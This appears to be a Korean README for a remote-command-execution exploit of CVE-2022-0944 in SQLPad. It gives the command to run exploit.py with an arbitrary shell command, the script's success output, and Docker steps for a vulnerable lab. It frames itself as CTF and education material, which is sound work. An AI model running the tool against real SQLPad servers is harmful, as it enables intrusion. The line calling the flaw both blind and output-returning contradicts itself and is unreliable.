CVE-2022-0944

SQLPad - 템플릿 주입

이는 블라인드 취약점으로, 출력이 응답에 직접 반환됨을 의미합니다.

익스플로잇

다음 명령으로 스크립트를 사용하세요:
python3 exploit.py --url http://localhost:13000 --command 'ls -la > /tmp/test' --username admin --password password

출력

[*] Login was successfull
[*] Exploited!

테스트 환경

Docker 사용:

• Docker 컨테이너 시작 - sudo docker run -p 13000:3000 -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=password --name vulnerable-sqlpad sqlpad/sqlpad:6.10.0
• Docker 컨테이너에 연결 - sudo docker exec -it vulnerable-sqlpad /bin/bash

웹 인터페이스에 접근하려면 URL http://localhost:13000과 자격 증명 admin:password를 사용하세요.

영향을 받는 버전

<= 6.10.0

출처

https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb

면책 조항

교육 목적 또는 CTF 챌린지에만 사용하세요.